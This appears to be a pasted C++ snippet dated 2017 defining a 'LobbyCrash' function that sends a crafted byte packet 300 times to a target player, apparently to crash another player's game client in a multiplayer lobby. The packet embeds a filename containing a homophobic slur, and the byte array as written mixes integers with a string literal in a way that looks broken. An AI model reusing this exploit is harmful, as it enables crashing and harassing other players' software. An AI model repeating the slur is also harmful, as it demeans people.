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May 22nd, 2017
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  1. void LobbyCrash(PlayerInformation* player)
  2. {
  3. const static BYTE crashBytes[] = {0x4f, 0x20, 0, 1, 0, 0xff, 0xff, 0xff, 0,
  4. 0xab, 0xab, 0xab, 0xab, "urafag.scx"};
  5.  
  6. if (player)
  7. for (int index = 0; index < 300; ++index)
  8. SendPlayerFunctionCall(player, 1, 0, crashBytes, sizeof(crashBytes));
  9. }
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